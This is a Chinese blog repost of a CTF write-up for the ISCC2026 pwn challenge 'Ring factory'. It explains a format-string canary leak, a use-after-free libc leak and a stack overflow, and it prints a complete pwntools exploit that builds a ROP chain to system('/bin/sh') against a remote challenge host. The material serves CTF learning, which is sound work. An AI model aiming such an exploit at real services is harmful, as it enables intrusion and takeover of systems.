当前位置: 首页 > news >正文

ISCC2026 pwn Ring factory

题目分析

保护全开

这里格式化漏洞,可以泄露canary,pie地址,libc地址

void__noreturnmenu(){intid;// eaxchars[4];// [rsp+4h] [rbp-Ch] BYREFunsigned__int64 v2;// [rsp+8h] [rbp-8h]v2=__readfsqword(0x28u);while(1){cls();puts("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");puts("Welcome to my secret sling ring factory.");puts("What do you want to do today?\n");puts("1. Show Forged Rings");puts("2. Forge Sling Ring");puts("3. Discard Sling Ring");puts("4. Use Sling Ring");printf(">> ");fgets(s,4,stdin);fflush(stdin);putchar(10);id=atoi(s);if(id==4){use_slingring();exit(0);}if(id>4){LABEL_12:puts("Invalid input!");puts("Press ENTER to go back...");getchar();}else{switch(id){case3:discard_slingring();break;case1:show_slingrings();break;case2:forge_slingring();break;default:gotoLABEL_12;}}}}

menu这里是个菜单,应该就是一个堆利用菜单题

show()函数是打印所有chunk内容,同时discard函数里free完没有指针归NULL,有UAF,所以可以打印free chunk的内容

intuse_slingring(){chars[4];// [rsp+Ch] [rbp-44h] BYREFchars_1[56];// [rsp+10h] [rbp-40h] BYREFunsigned__int64 v3;// [rsp+48h] [rbp-8h]v3=__readfsqword(0x28u);printf("Which ring would you like to use (id): ");fgets(s,4,stdin);fflush(stdin);atoi(s);printf("\nPlease enter the spell: ");fgets(s_1,256,stdin);puts("\nThank you for visiting our factory! We will now transport you.");returnputs("\nTransporting...");}

这里还有个栈溢出

所以这道题就是利用格式化字符串来泄露canary,利用堆来泄露libc,然后栈溢出拿shell,还是非常简单的。

Poc构造

先用%7$p来泄露canary
然后构造poc,由于是glibc2.31,有tcache,需要先填满7个tcache,然后才能用fastbin
所以分配八个释放八个,注意还要跟top隔断,然后show即可,泄露libc

后面直接栈溢出就行

exp

frompwnimport*importsys exe=ELF("./pwn2_patched")libc=ELF("./libc-2.31.so")ld=ELF("./ld-2.31.so")context.binary=exe context.log_level='debug'local=0iflocal:p=process('./pwn2_patched')#gdb.attach(p)else:p=remote('39.96.193.120',10006)defforge(id,des,amount):p.sendlineafter(b'>> ',b'2')p.sendlineafter(b'rings!',str(id).encode())p.sendlineafter(b'location:',des)p.sendlineafter(b'(1-9):',str(amount).encode())defshow():p.sendlineafter(b'>> ',b'1')defdiscard(id):p.sendlineafter(b'>> ',b'3')p.sendlineafter(b'discard?',str(id).encode())p.recvuntil(b"What is your name?")p.sendline(b'%7$p')p.recvuntil(b'0x')canary=int(p.recv(16),16)log.info(f'canary ={hex(canary)}')foriinrange(10):forge(i,b'1',1)p.sendline()foriinrange(9):discard(i)show()p.recvuntil(b'Ring Slot #7 | [144] | ')leak=u64(p.recv(6).ljust(8,b'\x00'))print(f'leak ={hex(leak)}')libc_base=leak-0x1ECBE0log.info(f'libc_base ={hex(libc_base)}')system_addr=libc_base+libc.sym['system']bin_sh_addr=libc_base+next(libc.search('/bin/sh'))pop_rdi_addr=libc_base+0x0000000000023b6aret_addr=libc_base+0x0000000000022679p.sendline()p.sendlineafter(b'>> ',b'4')p.sendlineafter(b"Which ring would you like to use (id): ",b'6')payload=b'a'*0x38+p64(canary)+p64(0)+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)p.sendlineafter(b"Please enter the spell: ",payload)p.interactive()
http://www.cnnetsun.cn/news/2504770.html

相关文章:

  • VKL144B QFN48L 36*4点阵段码屏驱动低功耗段码液晶显示驱动IC
  • 敏感词过滤在政务管理中的具体作用
  • 《从 0 实现 SGLang》第 1 篇 · LLM 推理引擎到底在做什么
  • 新手避坑指南,升级 Python 版本前必须知道的事
  • 复杂干扰下考虑异质性的非机动车微观行为建模与仿真【附仿真】
  • 深度实测|6年经验设计师:光储一体化模拟软件,到底强在哪?
  • Agent的“记忆”与“约束”工程---->Agent协作
  • 使用Coze制作一个可以“动”的存钱罐,比记账APP更易用
  • 1987年5月10日晚上23-24点出生性格、运势和命运
  • 用 Okbiye 搞定毕业论文降重与 AIGC 检测,轻松通过毕业大关
  • 帕鲁杯第二届应急响应:jumpserver,waf,mysql,sshserver,server01,Palu03,Palu02,每个靶机的漏洞总结
  • 大模型的“文字障眼法“:FlipAttack 文本反转越狱技术全解析
  • Sentinel-2 L2A数据分辨率混搭?手把手教你用SNAP完成10米/20米波段统一重采样
  • 从零手写GAN:NumPy+PyTorch底层实现DCGAN训练全流程
  • AI Agent 运行时:从上下文溢出到持久化事件日志的范式升级
  • 零极点分析:从系统稳定性到滤波器设计的核心工程工具
  • 嵌入式工业主板MB-B150P-12CPC拆解:从接口设计到实战选型指南
  • 钢厂循环冷却水系统节能优化关键技术【附仿真】
  • 神经网络性能优化:从数据流到梯度流的系统工程实践
  • 通过用量看板分析不同模型在taotoken上的实际token消耗差异
  • 告别黑白DEM!GeoServer发布地形图的样式美化实战(附完整SLD代码)
  • 拆解USB PD协议层消息:从Source到Sink,一次充电握手都聊了啥?
  • Stata小白也能搞定的空间面板回归:从莫兰检验到效应分解保姆级教程
  • 从RK3568核心板到边缘AI实战:飞凌OK3568-C开发板深度评测与项目指南
  • 别再让模型过拟合了!PyTorch实战:用Weight Decay(权重衰减)驯服你的神经网络
  • CentOS Stream 9初体验:除了名字加了Stream,桌面和内核到底有哪些升级?
  • AI治理落地实操指南:从责任流设计到轻量级中枢搭建
  • Spring Cloud Gateway配置HTTPS后,微服务调用报错NotSslRecordException?一个配置项帮你搞定
  • ElevenLabs越南语音效翻车预警:5类高频错误(重音错位、声调丢失、专有名词崩坏)及3步修复法
  • FPGA高速通信实战:手把手教你用Aurora 8B/10B IP核打通板间数据流(附AXI-Stream时序详解)